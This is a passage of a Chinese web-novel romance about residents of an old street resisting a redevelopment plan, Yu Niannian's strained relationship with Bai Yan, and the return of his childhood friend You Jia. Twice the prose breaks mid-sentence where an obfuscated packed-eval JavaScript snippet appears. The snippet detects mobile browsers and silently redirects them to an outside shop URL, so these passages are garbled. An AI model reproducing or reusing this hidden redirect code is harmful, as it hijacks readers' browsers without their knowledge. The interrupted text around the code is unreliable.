常主任叹了口气,摇摇头:“我不知道......我希望不是,那样的话,老街就彻底没了。所以,我想成立一个‘老街临时应对委员会’,将老街街坊召集起来,收集大家的意愿,共同跟环锦沟通方案。” 余念念了然地点点头。 如果老街不发声,对方很可能就绕过老街直接找市政府交涉,到时,老街只能被动接受开发商的方案,并不存在什么合作共建,只会是推倒重来。但如果老街居委会直接跳出来拒绝,那又可能忽视一些老街住户的意愿,毕竟,老街年份长,有些住户房屋维护并不好,开发商的出现对这部分人来说不一定是坏事。 “小余,”常主任突然有些动容地喊了她一句,“之前,我总是打着年轻人就要多尝试的名头,把重担压在你身上,让你承受了不该承受的压力,我感到很抱歉。这次把你叫回来,不是让你替我和开发商交涉,而是希望你参与到这场事关老街未来的谈判当中,因为在我心里,你早就是老街的一员了。我会亲自带领这个委员会,豁出去这把老骨头,为那些对老街怀着感情的老住户争一个合情合理的方案。” 余念念看着常主任满头的白发和清瘦笔挺的背脊,眼底涌上一片热潮,她迅速抬手擦了下眼角,朗声道:“常主任,我觉得,这个‘老街临时应对委员会’应该改个名字,叫‘老街守护者联盟’,您觉得怎么样?我余念念很荣幸可以加入这个组织!” 53. 赴宴 和常主任聊完后,余念念独自一人返回天台,等待日落。 金黄色逐渐占据视线时,身后不出意外地传来脚步声,她不回头也知道那是谁。 她转过身,之前被打断的对视此时又延续了起来。 夕阳余晖即将消散时,两人几乎同时开了口。 “对不起。” 说完这句,又是一阵沉默。白砚深呼吸一口,眼里闪过丝痛苦,低下头。余念念继续看了一会儿他有些发白的脸色,说:“之前听说你病了,现在好了么?” 白砚微微扬起嘴角,重新抬起头看向她:“好一些了。”说完这句,眼里浮现出探寻和期待,轻声问:“我们......会好的,对么?” 余念念被他问得一怔,沉默良久,老实说出心里话:“我不知道。” 谁知道呢,变好,或者变坏?变坏应该是不会的,因为不会更坏了。 但,就像老街的前景一样,或许会走向圆满,或许,会戛然而止。 在守护老街这件事情上,她可以说一句“尽人事,听天命”,但在她和白砚的未来这件事上,她甚至不知道往哪个方向努力,要不要努力。 “这次,我来努力。”白砚像是能听见她心里的声音般,脱口而出。 “之前,你说跟我相处这件事太难了,对你不公平,你很幸苦,那时,我不是很能理解。这段时间,你走了,老街被打回原形,每个人回到原点,我失去每天的拥抱,我才知道,其他人都在你制造的舒适区里,只有你一个人永远不在舒适区,永远承担着压力......” 余念念怔怔地听着白砚的话,像在听一个陌生人的经历——他口中那个人听上去很强大,那真的是她余念念么? 白砚见她露出无比熟悉的呆楞的表情,忍不住轻笑出来:“你总是这样,后知后觉,明明已经做了很多,却总觉得自己是小白。” 他又叹了口气,说:“上次老街活动,我没有遵守承诺,你已经惩罚我了,这次,我们还可以一起守护老街么?” “惩罚”这个词十分敏感,余念念一下子心虚了,偷偷咽了口口水,眼神飘向别处:“这,这本来就是你的家,你要守护就守护啊,问我干嘛......” 白砚似乎从她的表现中发现了什么,靠近了一点,看着她的脸说:“要是我有做得不好的地方,你还可以继续惩罚我。” “哎!天色不早了!我该回家了!”余念念一下子有些口干舌燥,大声说着,往楼梯口走去。 “回李婶家么?我送你。”白砚跟在她身后。 “不不!我最近先住沈童家!回见!”余念念逃难似的一溜烟冲下了楼梯。 身后,白砚哭笑不得地看着她消失的地方,长长叹了口气,又转回身,独自一人站在夜幕初降的天台上。 —————— 第二天中午,崇安市市中心环锦广场。 余念念从出租车上下来,极力抬头,才看到眼前巨大建筑的全貌——环锦大酒店,这只是环锦集团商业版图的小小一环。 前一天晚上,她接到常主任电话,被告知了一条意料之外的邀约。环锦集团负责本次老街开发计划的高管是最近才从国外回来的,这位高管自称是老街的故交,想要邀请老街的一众前辈故交一起吃个饭,叙叙旧。 老街街坊内部讨论下,都猜不出这人是谁,发了邀请,却又不自报家门,犹抱琵琶半遮面,不知道葫芦里卖的什么药。但常主任觉得没什么可避讳的,对方搞对方的神秘,老街的人坦坦荡荡地赴约即可。 余念念走进酒店一楼,富丽堂皇的大堂里立刻有训练有素的服务人员迎了上来,将她领到一间包间,里面,老街人已经坐了一半——白老、白砚、李婶、老孙、老潘等等。她略一打量,便径直坐到白老和李婶之间,向白老道了声好,选择性忽略白老另一侧白砚明晃晃的目光。 李婶不轻不重的一拳捶在她的肩上,嗔怪道:“这孩子,回老街也不知道回来看看我!” 李婶另一侧,老孙和老潘也憨憨笑着看她。 余念念略有歉疚地看了他俩一眼,揽住李婶的肩膀晃了晃:“堂堂崇安双臭传承人老街一枝花李女士,肯定不会和我一般见识。” 话音刚落,包间大门被撞开,几道声音粗放地闯进来:“北极星同志呢?”“小余来了没?”“没来我可就走了!” 魏大爷、王大爷领着老街象棋团伙大咧咧走了进来,看到余念念的瞬间,眼睛齐齐放出了光,在他们身后,刘大爷像个小媳妇一样隔了几步跟着,最后,常主任像定海神针般迈着稳重的步伐压轴出现。 “小余小余!太好了你回来了!茶馆什么时候开门?” “河边的风啊那叫一个冷,你桂云嫂最近又跟我吵了几架,连热水都不给我送了!” “哎呀我们过的什么苦日子你知不知道啊?!” “......” 象棋的大爷将余念念团团围住,你一言我一语地诉起了哭,余念念嘴张了半天,不知道该先回答哪个,又闭上。 桌子两侧发来两道声音——白老重重将拐杖在地上顿了顿,常主任大声咳嗽了几声,象棋大爷们接收到两人投来的锐利眼神,将更多的话吞了回去,乖乖坐到桌前,巨大的圆桌一下子只剩两个空座位。 这时,包间的门又被推开,只是这次轻柔了许多,是由两个服务员从外面推开的,门后,一女一男一前一后地走了进来,年轻女人一身白色西装,气质姣好,环顾了圆桌一圈,亲昵地喊了声:“各位爷爷、叔叔,婶婶,你们不记得我了么?” 余念念看着这张成年后依旧容颜秀丽,更添了几分风情的脸,脑中浮现出老潘照相馆里那张双人合照,下意识看向白砚——果然,他眼中满是惊讶,但明显是认出了眼前这个女人。 她是少年白砚喜笑颜开合照的另一半,是余念念口中他的“白月光”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14567054|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你是......小尤佳?”白老迟疑着问。 听了白老的话,桌上众人纷纷反应过来,跟着说道:“原来是小尤佳!”“尤家餐馆老尤家的女儿么?”“是啊!他们家餐馆原来就在颜喜斋的隔壁!”...... 老潘像是突然想起了什么,拍了拍桌子:“你和白砚的合照还在我店里挂着呢!好多顾客夸你们般配,说就要拍你们同款呢!” 话音刚落,老孙在一旁扯了扯他的袖子,他一愣,迅速反应过来,闭上了嘴巴。 尤佳得体地微微欠身,朗声笑道:“还好还好,大家还没彻底忘了我!” 跟在她身后的男人这时走上前两步,也鞠了一躬,十分干练地说:“各位老街的先生、女士们好,我是尤总的助手许磊,大家可以叫我小许。” 一声“尤总”将众人从叙旧拉回现实,桌上一时安静下来,常主任缓缓起身,对两人点头示意,微笑道:“感谢尤总款待,原来是老街的老住户,可惜,你们在老街的那阵子正好是我最忙的几年,接触不多,接下来的相处,就请尤总多多指教了。” 尤佳面色微微僵硬几秒,很快,被盈盈笑意覆盖,她绕了半圈,绕到常主任身边,以晚辈的姿态轻快道:“常主任,您可能不知道,我和白砚同岁,我记得他喊您常爷爷,那我也随他喊您白爷爷吧!” 说着,她有绕到白老身边,半蹲下身,挽住白老的隔壁,说:“白爷爷,小时候,我可没少往您家里跑,白砚也没少来我家蹭饭吃呢!” 说完,她起身,脚步终于落到白砚身边,冲他伸出一只手,目光灼灼地说:“好久不见,老同学!” 白砚有些心神不宁地看向余念念,但余念念似乎突然对眼前桌上一盘冷菜十分感兴趣,全神贯注看着那道菜,他于是收回眼神,伸出手,与她交握:“你好,尤佳。” 与尤佳的热情相比,这声招呼显得格外生疏和礼貌,但尤佳没有在意,带着她的助手坐在了白砚身边——全场只有那里有两个空椅子了。 “余老板!”尤佳突然热情地喊了一声,让余念念不得不从冷菜上抬起头,“这里只有您和我之前完全不相识,发邀约的时候常主任专门提醒我要把您加上,想必您肯定很受老街街坊喜爱,之后,我们两个可以多多交流,说不定可以成为好朋友呢!” 余念念礼貌地回以微笑,点头应是,一时半会儿说不出什么漂亮的场面话。余光里,坐在尤佳身旁的白砚目光执着地看过来,但她始终保持目不斜视,迅速把眼神从尤佳脸上撤回到冷菜盘子上。 这时,尤佳身旁的许磊缓缓开口,语气十分彬彬有礼:“说到这个,尤总,我倒是有一点不懂的,不知道合不合适在这个场合提出来。” 尤佳点点头,示意他继续。 “听说,余老板现在既不住在老街了,开在老街的茶馆也暂停营业了,那么,理论上来说,余老板应该不能算作老街的正式居民吧?” 54. 抗争 “余老板应该不能算作老街的正式居民吧?” 这句话一出,整个包间内一时间鸦雀无声,尤佳脸上殷切的笑意还未褪去,许磊绵里藏针的提问已经发起,两人的节奏控制得十分紧凑。 短暂沉默后,桌上几个老街人面露明显的不悦,坐直身体就要反击,常主任咳嗽两声,吸引了众人目光,按下其余人即将说出口的话,他从随身带的文件袋里拿出一叠文件,在桌上推向尤佳和许磊。 “许总,贵公司有所不知,我已经拟好房屋转让合同,打算将我常家的祖宅安福楼转让给余老板,作为安福楼的下一任主人,余老板自然有资格和我们一起与贵公司商议老街重建事宜。” 这话回得同样软中带硬,既点破了许磊质疑余念念老街居民身份的小心思,又当众抬升了余念念在老街的地位,潜台词是:余念念是我常某认准的人,针对她就是针对我。 像环锦集团这样的商业巨子,不会打无准备之战,许磊一定早早就对常主任在老街的地位和深厚的家族背景有所了解,见他如此大手笔地站出来替余念念说话,脸色一下子慌乱起来,嘴里应着:“那当然,那当然!之后的合作,请余老板一定多多指教!” 尤佳原本不动声色地观察着桌上人的脸色,这时,瞪了许磊一眼,斥责道:“常主任亲自提示我们邀请余老板,这不就足够说明问题了么?你问的什么多余的废话!” 许磊忙低头认错。 余念念表面不露声色,内心惊涛骇浪。 安福楼?转让给我?价格是多少?把我卖了也买不起吧!要是一个我买得起的价格,那对安福楼的价值来说,就不叫转让而叫转赠了! 其余老街众人心中估计也是同样的惊讶,只是在这个场合不约而同地选择了支持常主任,一个个大点其头,颇有同仇敌忾的架势。 接下来的时间没人再提老街重建的事情,言笑晏晏,宾主尽欢。 余念念埋头吃着转到眼前的菜,偶尔一抬头,尤佳总是举着杯子在几个长辈之间敬酒交谈,像只游刃有余的花蝴蝶,余念念想起自己之前当打工人时在饭局上嘴笨的样子,不禁生出几分羡慕,不由得多看了几眼。 看着尤佳第三次从常主任身边走回自己座位,余念念默默记下她敬酒的顺序,以备后用,眼神不提防扫到旁边的白砚和他手上的动作,心里一怔。 难怪每次碗里一道菜吃完了,桌上的菜恰好就转到下一个,感情他在这里默默服务呢...... 她垂下眼神,心里说不上是暖还是酸,吃了两口,就放下了筷子。 —————— 饭局散场,尤佳和许磊将众人送出饭店门口,并提出要让环锦的车送众人回老街,被常主任拒绝。 “尤总、许总,今天感谢款待!大家既然见过面了,下次再见,就是正式谈老街的改造方案了,我们老街一定认真对待。”常主任对二人说道。 一场饭吃下来,尤佳一直让常主任改口叫“小尤”,常主任始终坚持称呼“尤总”,态度众人看在眼里:旧情归旧情,你既然没有因为旧情而避开老街重建这个项目,那大家还是公事公办比较好。 尤佳表现出一个成熟经理人的职业素养,十分得体地与众人握手告别,只是,在最后和白砚告别时,问了句:“有空到我办公室坐坐么?” 余念念迅速收回目光,如果可以的话,她还希望关闭耳朵的听力功能,但对话声还是传进她耳中。 “不了,我还有事。” “好,那下次。” 接着,尤佳离开的高跟鞋脚步声远去,白砚的身影朝这边走来,余念念下意识转身想躲开,常主任恰好走到她面前,示意她边走边聊,令她松了口气。 “小余,刚刚饭桌上,我突然拿出安福楼的转让合同,你不会生气吧?” 余念念摇摇头:“是有点惊讶,不过,不会生气,我猜,您只是提前做了准备,没想到真的用上了。” 常主任颇有种跟聪明人对话的欣慰感,笑着点点头:“是啊,在来之前,我就觉得他们可能会针对你动一些心思,毕竟,你最近在公众面前暴露得比较多,很容易引人注意。不过,我想把安福楼转赠给你也是认真的。” 余念念脚步顿住,惊讶地睁大眼睛:“转赠?那可是您的祖宅。” 常主任不以为意地笑了,眼里是历经世事的淡然:“说是祖宅,其实就是一座空房子,早几年,我还喊我儿女回来料理料理,他们敷衍得多了,我也看清了,没有人珍惜的房子,再多的名头也掩盖不了它的破败。” “上次老街活动,你提出要利用安福楼做场地,我才得到启发,与其空守着一个祖宅的名头,不如让它在彻底倒掉之前发挥实实在在的作用。老白家的铺子出了事,你在那里待着可能心里会有疙瘩,我希望,安福楼能成为你以后在老街发展的新起点,住也好,接着开茶馆也好,都随你安排。” 余念念彻底怔住了。这是一种莫大的信任和青睐,但,转赠?她何德何能接受如此厚重的一份馈赠呢。 常主任像是猜到了她的想法,沉吟片刻,说:“如果你不愿意接受转赠,那么,转售也行,上百年的老房子,按现在你们的说法,叫......老破大,对吧?回头找人评估一下,值不了几个钱!” 余念念心想:您可真会转换概念,崇安市中心地段的独栋花园洋楼,和筒子楼里年久失修的老房子,能是一个概念么...... 不过,常主任的话倒是从另一个角度点醒了她,她眼中一亮,兴奋道:“说到评估,我有个想法!要是能证明安福楼是一栋具有历史保护价值的房子,环锦集团就没办法轻易拆除它了吧!” 常主任听了,赞许地笑起来:“有道理!我就说你们年轻人脑子转得快,那么,就这么说定了,安福楼先全权交给你来处理,评估也好,自用也罢,都由你做主,转赠合同我签好字后送到老白店里,你记得去拿!” “哎常主任——” 怎么就突然敲定由她来全权处理了?而且,为什么是到白老店里去拿,她可没跟白家做什么绑定。 但常主任朝身后扬了扬下巴,带着笑意低声道:“还有人排着队呢,我得赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14581982|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧让出位子,下次咱们守护者联盟开会的时候再见!” 说着,他挤了挤眼睛,快步走远。 余念念一阵无言,很想冲着他的背影喊一句:您还是少跟白老一块玩儿吧! 停住脚步,转回身,不远处,慢慢跟着的白砚看到她的眼神,快步走上来。 余念念盯着自己的鞋面,看着白砚的黑色鞋尖出现在视线里,倔强地不抬头。 “念念,尤佳她......”白砚缓缓斟酌着用此。 “我知道你要说什么,她不是你的白月光,她只是你的老同学,对么?”余念念抢先说道。 白砚点点头,又开口:“那张合照......” “你要说,合照都是过去的事了,你早就不在意了,回去就让老潘撤下来,对么?” 白砚停顿几秒,又点点头:“还有,她喊我去她办公室......” “喊你去她办公室只是为了老同学叙旧,但你其实一点都不感兴趣,你是不是要说这个?” 白砚:“......是。” 余念念哼了一声,双手抱臂,冷冷道:“首先呢,她是不是你白月光跟我一点儿关系都没有,是的话恭喜你们再续前缘,不是的话你们大可以试着发展一下。其次,老潘照相馆里那张合照挺好看的,人家潘叔都说了,顾客很喜欢,指定要拍同款,你可别自作主张耽误了潘叔的生意。最后,你为什么不去她办公室坐坐?男未婚女未嫁,又是从小一起长大的青梅竹马,我想不出你有什么理由不去坐坐,你别跟着我了,现在、立刻、回头,去人家办公室里坐坐吧!” 机关枪一样输出了大几百字后,余念念戛然而止,胸膛微微起伏,瞪着一旁车水马龙的大马路。 白砚默默听完,陷入沉默,接着,嘴角缓缓升起,眼里露出笑意:“数了一晚上盘子,罗列的这些罪状?” 余念念瞬间炸毛,转身就走,被白砚一把拉住胳膊:“好好好,我不开玩笑了!” 白砚将她身体掰回去,盯着她的眼睛,一板一眼地说道:“尤佳的爸爸以前在颜喜书画斋隔壁开餐馆,我和她是同学,我妈和我爸离婚后,我被送到老街上跟着爷爷生活,那段时间,她确实给了我很多安慰,但很快,她也不告而别,没留下任何联系方式,那时,我接连受到两个冷酷女人的打击,给我幼小的心灵造成了极大的伤害。” 他顿了顿,深深看了一眼余念念,语调变得幽怨:“但后来,我被另一个女人深深伤害后,才知道,小时候的那些伤害,都不算什么......” 余念念面露慌乱,正要反驳,被白砚抢先道:“我之所以一定要当面、亲口跟你说出这些,是因为我吃够了语焉不详和主观臆断的苦,也受够了拖延症和慢慢来的累,以后,我有话,就要立刻马上当面跟你说清楚,以绝后患。” 余念念眼神左右飘了一阵,气势又消失了一半——另一半在白砚说出被第三个女人深深伤害时就已经消失了——点点头:“好的好的,我理解你的抗争了,以后,没人能侵犯你第一时间说出心里话的权利,可以了吧?” 55. 冒昧 余念念的行动力向来惊人。 从环锦饭局回来的当天,她就联系了西柳镇的赵主任,第二天,赵主任就扛着大大的建筑勘测工具箱,出现在了安福楼。 余念念陪在她身边给她打下手,两人从楼顶开始一点一点往下勘测。远远地,文老师和白砚站在一楼的院子里,抬头看着楼顶的方向,偶尔交谈一两句。两个人都身长玉立,像两颗笔直的翠竹,十分养眼。 养眼是养眼的,但这两个男人都是自带清冷气息的人,且都有社恐倾向,余念念远远又瞟了眼他们之间一个胳膊都不止的距离,心里默默替他们的对话氛围感到尴尬。 “文老师来干嘛的?” “小白来干嘛的?” 同一时间,余念念和赵主任发出同样的疑问。 两人都一愣,同时看了眼楼下的人,又迅速收回目光。 “哦,他来搭把手......”两人又异口同声答道。 一阵沉默后,赵主任测量着墙面的裂缝距离,余念念在一旁帮她扶着仪器,两人盯着墙面,又同时脱口而出:“那为什么不让他上来?” 这下,两人再也绷不住,对视一眼,笑起来。 “赵主任,这段时间文老师是不是做出了什么行动?改变之前顺其自然的态度啦?强势追求了?您快说说呀!”余念念克制不住内心熊熊燃起的八卦之火。 赵主任撇了她一眼:“我就知道之前我和他的事情传出去不是村长一个人的问题,你们两个啊,真是臭味相投了!” 余念念不好意思地干笑一声,不敢反驳。 “说起来,文老师可能是受到你的触动了。” “我?我可没怂恿他主动出击啊,虽然我一直挺想的......” “说什么呢!我说的是,受到你前阵子风波的触动。”赵主任看了眼余念念怔住的表情,温声道:“你是什么样的人,网上的人不知道,但是我们这些接触过的人是知道的。他看着你被外界的言论风暴冲击,深陷漩涡,却没有消沉下去,而是通过种地认识自我,勇敢自救,很是感慨,突然觉得自己做为生活阅历更丰富的人,需要做出一些表率,不能太过佛系。” “所以,他这么多年的意难平——您,顺理成章地成为了他做出改变后第一个主动出击的对象......”余念念喃喃接道。 赵主任嘴角抽搐了几秒,没有反驳,低头调整着仪器的刻度。 余念念突然开心地笑起来:“我是真没想到,我种地还能给文老师带来这样的改变,这不是无心插柳柳成荫了么!大好事啊!我等会告诉一下村长......” 最后一句话在赵主任扫过来的锐利眼神下迅速消音,她咽了口口水,讪笑道:“我是说,我好几天没跟村长联系了,等会儿慰问慰问他,顺便问问我那地咋样了......” “好了,说完我了,说说你吧,你和小白怎么样了?那件事你原谅他了么?” 余念念瞬间梗住,想了想,低声道:“其实我知道,那件事上他并没有错,他是被他妈妈拖住了,不是故意消失。” 赵主任听出她话里的口是心非,十分贴心地把她心里的情绪点破:“但是,人在感情里哪会那么理智,我需要你的时候你不在,这就是最大的错误,对吧?而且,小白也觉得自己错了,刚刚接我的时候,我跟他聊了两句,他说他完全接受你的惩罚。” “惩罚?!”余念念像被针扎了下,大惊失色,“他还跟您提到了‘惩罚’?” 赵主任不明所以地看了她一眼:“提了一嘴,怎么,你惩罚的方式很过分?” 余念念:“......没有,还好,以后不会了......” 正聊着,余念念口袋里的手机响起来,她掏出来看,是一个陌生号码,接通后,一道熟悉的干练中略带甜美的声音传来。 “余老板?我是尤佳!抱歉没有提前约,我今天正好路过老街,想故地重游一下,您现在方便么?我们一起边逛边聊?” 这个电话其实多少有些冒昧,余念念心里立刻盘算了一番。 老街对环锦的方案一无所知,对尤佳这个主导者的真实想法也知之甚少,她为什么这个时候独自来老街,为什么不找别人单单找她,这些问题或许只有去了才能知道。 “好的,我正好在老街,尤总在哪?我去找您。”余念念站起身,冲楼下的白砚招了招手,示意他上来。 上到楼顶后,听余念念说要去和尤佳逛老街,白砚立刻有些紧张,问:“就你们两个逛么?” 余念念一边将赵主任的仪器交到他手上,一边抬头看了他一眼,挑眉道:“你想加入?还是,你想见她?” 白砚被她的话梗住,下意识一拽她的胳膊,不让她转身。 余念念打量他有些着急的表情,脑中突然想起他前一天才奋起表达过的“抗争”,生怕他立刻说出些什么,赶紧举起双手作投降状:“我说错了!我又主观臆测了!你先照顾好赵主任和文老师,有什么话等我回来再说!” —————— 尤佳在公告栏下等着她,见她跑来,面露愧疚:“抱歉余老板,我真的约得太突然了。” 余念念摆摆手:“没事的尤总,叫我余念念就好。” “昨天,我听白砚叫你念念,那以后我随他一起叫你念念好不好?你也叫我尤佳好了。” 余念念垂下眼睛,很快说了声好,抬手往巷子里指了指,问:“这么久没回来了,要不要先去你们家老屋看看?” 尤佳脸色突然僵硬了片刻,眼神闪过一丝躲避,余念念以为自己看错了,但马上,尤佳重新露出标准的微笑,说:“我们先去老潘照相馆看看吧。” 老潘照相馆的照片墙前,尤佳站了很久。 中间那张少男少女时期的合照确实很夺人眼球,在一众富贵喜庆背景的全家福中,像一簇往外冒着青春气息的泉眼。 见余念念随着尤佳一起注视着那张合照,一旁立着的老潘似乎有些站不住了,他拄着拐杖走到余念念身旁,小声道:“小余,改天,我给你俩也拍张。” “谁俩?” “你和小白呀!”老潘语气理所当然。 “不用,我不爱拍照,”顿了顿,她又补了句:“尤其不爱和他拍照。” 老潘脸上的疤痕可怜兮兮地抽搐了片刻,放弃了脑中为白砚做些什么的念头,弱弱地“哦”了一声。 这时,尤佳终于看完照片,兴致勃勃地转回身,冲老潘说:“潘叔,我记得,那一年很流行拍这样的双人合照,我们学校不少早恋的同学都去拍了,您眼馋同行生意好,特地请我和白砚做模特,没想到,拍出来效果比预想的还好,这一挂,就挂了这么多年了。” 潘叔装作不经意的样子往后退了半步,似乎想隐身到柜台里面,干笑着小声应道:“呵......是我提的么?时间太久了,我都忘了......” “潘叔,照片虽然保存得很好,但是,您这照相馆却实在有些破旧拥挤了,客人来了,体验应该不太好吧?”尤佳貌似不甚在意地顺口说了一句。 但余念念和老潘对视一眼,从对方眼里感受到了一丝冷意。老潘自嘲地笑了声,说道:“我的照相馆本来就面向老街上的熟客,都是街坊,他们不在乎店里环境,反而更在乎老街坊之间的交情。” 尤佳脸上笑意微微一僵,立刻又问:“要是有间新铺子,生意不是会更好么?” 老潘想了想,说:“要是还在这老街上,还有老熟客上门,那当然好,但要是搬到什么高大 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“你......喜欢她么?” 余念念看着尤佳,一阵无语。对于一个才认识第二天,且正和自己谈着商业方案的对象,这个问题真是,冒昧他妈给冒昧开门——冒昧到家了。 尤佳见她表情不太好,连忙道:“我知道,我问这个问题很突然,但是,这次回来,我见到白砚的第一眼就有很浓的亲切感,不仅是亲切感,还有心动。坦诚说,你的存在让我有危机感,我是一个非常直接的人,认准了就会行动,只是,在行动前,我需要先确定有没有对手。” 余念念算是意识到了什么叫作真诚才是必杀技,前一刻的冒昧感转成了一种解释不清的无力感,她认真想了片刻,放弃般的摊开双手:“我对白砚的感觉我自己都不明白,更无法说给你听,我只能说,现在我们没有在一起,你有追求他的自由。” 尤佳消化了一会儿她话里的信息,继而,眼里透出隐隐的兴奋——通常,这种兴奋会出现在一个迫不及待想要解开难题的学霸的脸上。 —————— 当晚,沈童家的大门被重重敲响。 沈童强忍不满推开门,被怼在门口的一个巨型快递盒惊住。 快递员的脸费力地从快递盒后面冒出来:“抱歉,发货方说,加急定制商品价格昂贵,需要亲手交到客户手上!” “定制商品?” 沈童正要细问,被身后一人撞到一边,只见余念念上前一把拖住比她人还高的快递盒,一点一点往屋里挪动,嘴里冲快递员喊道:“多谢!” “余念念,那是什么?”沈童叉腰问。 “别管!”一声吼叫后,余念念暂住的次卧房门被重重关上。 半小时后,卫生间里水声潺潺,沈童捏着备用钥匙,蹑手蹑脚地进了余念念的房间,被立在房间正中央的庞然大物给震惊了。 一个一人高的巨型人型沙袋,正在半空中打着圈晃晃悠悠,显然不久前才经受了一番暴力击打。 沈童伸手稳住沙袋,将它缓缓转了半圈,看到一张熟悉的冷淡的脸,另一只手捂住了自己长大的嘴巴。 下一秒,她从口袋里掏出手机,咔嚓一声拍了张特写,发到某个神秘微信群里。 群里瞬间炸开了锅,三个人吵出了三十个人的阵势,锣鼓喧天,经久不息。 终于,在几经转折后,颜喜书画斋的后屋里,刚刚洗漱完的白砚边擦着头发边回到自己房间,听到叮地一声消息提示。 下一秒,所有动作停住,他像被隔空点了穴一样,瞪着手机上那张照片。 照片里,巨型沙袋上,他自己的脸也无声无息地回瞪着他。 56. 狐狸 第二天上午,安静的老街茶馆。 余念念从二楼的楼梯刚冒头,便被一个人影吓了一跳——偌大的二楼大会客室里,白砚一个人坐在桌后,单手撑着下巴,桌上摊着一本本子和一支笔,但他心思显然不在眼前的内容上,因为他一直注视着楼梯的方向,余念念一出现,他的目光便锁定在她身上,追随着她移动。 “你......你干嘛!一点声音都没有,我还以为没人呢。”余念念心脏不受控制地乱了几拍。 白砚微微笑了一下,黑色高领毛衣的衬托之下,神情显得极为克制,他站起身,替余念念拉开位于他身旁的一把椅子,问:“昨晚没睡好么?黑眼圈有点重。” 余念念垂下视线,坐下来,含糊道:“还行......” 白砚将桌上的本子推到她面前:“这是我这几天在老街做的调研,你先看看。” 余念念点点头,一抬胳膊,“嘶”地一声滞住动作。 “怎么了?”白砚立刻问。 余念念低头皱眉,半晌才缓过来:“昨晚......运动了会儿,肩背有点酸痛。” 白砚凝目看了她几秒,再次站起身,走到她身后,轻声道:“我帮你按摩一下。” “啊不用——” 拒绝的话还没说完,白砚的手指已经放上她的肩膀,轻柔又不失力道的按揉从指尖接触的地方传来,却像带着敏感的电流,瞬间传至全身,余念念忍不住挣扎,被白砚一双大手按住肩膀,低沉安抚:“别动。” 空气一下子粘稠起来,余念念停住挣扎,一动不动,呼吸却像鼓声一样敲击着心脏,两者交错着叫嚣起来。更糟糕的是,白砚身上的皂香味持续地从身后传来,她整个人被这股气息环绕着,头脑都有些发晕。 “我昨晚也做了个梦......”白砚突然低声说。 “嗯?”余念念应着,将头回过九十度,长长的发丝拂过白砚的手背,让他动作一顿。 肩上突然加沉的力道让余念念歪了歪身体,回过头去看身后的人,却见白砚紧紧抿着唇,盯着自己的手背,接着,视线缓缓从手背移向余念念的眼睛,眼珠不错地紧紧盯着她,轻声说:“我梦到,被你惩罚。” 余念念头脑昏沉:“我......” “念念,我说过,你要是心里还有气,尽管来惩罚我,我就在这里。”白砚用最清冷的脸,说着最勾引人的话。 狐狸精...... 余念念脑中残存的理智终于敲响警铃,在白砚靠得更近之前用力推了他一把,他撞上身后的桌子,桌上东西发出阵稀里哗啦的声响。 “哟!怎么了这么大动静?” 一楼传来一阵嘈杂,外加不知道哪位大爷的惊呼声,接着,通往二楼的楼梯上涌进了一群人——来开会的老街守护者联盟成员姗姗来迟。 白砚从桌子边沿站直身体,深呼吸一口,坐回到椅子上,他身旁,余念念将身体微微侧向另一个方向,借此隔绝视线和气息的交织。 两人衣装整齐,面色如常,如果不拿听诊器去听他们的心跳,没人会知道刚刚二楼差点擦枪走火。 常主任和白老入座后,会议正式开始。 余念念首先介绍了前一天赵主任对安福楼勘测的初步结论——安福楼确实达到了保护性建筑的门槛,一般来说,这类建筑不建议拆除,但可用于保护性开发和运营,崇安市近几年涌现了不少类似的保护性建筑与餐饮综合体,有几家叫得出名字的咖啡馆和书店都是这类经营模式的爱好者。 “太好了,这是最好的结论!小余,你知道的,我正希望你以后可以带着安福楼往这个方向发展!”常主任边说,边不住点头。 余念念笑道:“如果我们能保住老街,我就和您签署一份长期租房合同,将老街茶馆搬到安福楼。” 上次跟常主任聊过后,她仔细想过,接受转赠终究是不合适的,且不提常主任的子女知道后会不会有意见,老街上那么多双眼睛看着,难保没有几个眼红的,与其不安地接受转赠,不如大大方方地租下来。 常主任见她说得认真,也不再多说什么,而一旁的象棋大爷们早就爆发出一阵欢呼:“太好了!”“两全其美!”“常主任,房租给咱们余老板多打点折,不能比白老家的铺子高!”...... 众人兴奋的讨论声稍歇后,白砚翻开本子,开始介绍他的调研结果。 “有80%的住户明确表示不希望离开老街,这些住户中,有60%的同时也是商户,他们中绝大多数希望保持现在的临街的经营形式。但是,也有40%的住户提出房龄过老,希望改善居住环境。基于以上这些,我认为可以提出一个初步方案,让渡老街靠近十字路口的一部分地段给环锦经营,老街整体向深处聚拢,作为交换,环锦帮老街居民改造房屋,升级硬件,优化环境,这样,环锦可以获得最具有商业价值的地段,而老街也可以最大化保持自己的风貌......” 余念念一只手撑在脸侧,挡住有些发烫的一侧耳廓,白砚低沉嗓音念出的一个一个字节从指缝钻进耳道,声音听上去和平时拍照时的艺术感性截然相反,但却有另一种冷冽而理性的气质,让人想...... 等等......想什么?!她猛地回神,掐了自己一把,醒醒吧余念念,开会呢! 这时,白砚的介绍告一段落,桌上又响起一阵激烈的讨论。 “这个方案好啊!总会有愿意拿钱走人的,想走的走想留的留,我们也不能强求!” “就是!老住户大多住在巷子深处,那里清净,要是能帮我们改造下电线啊下水道啊啥的,那再好不过了啊!” 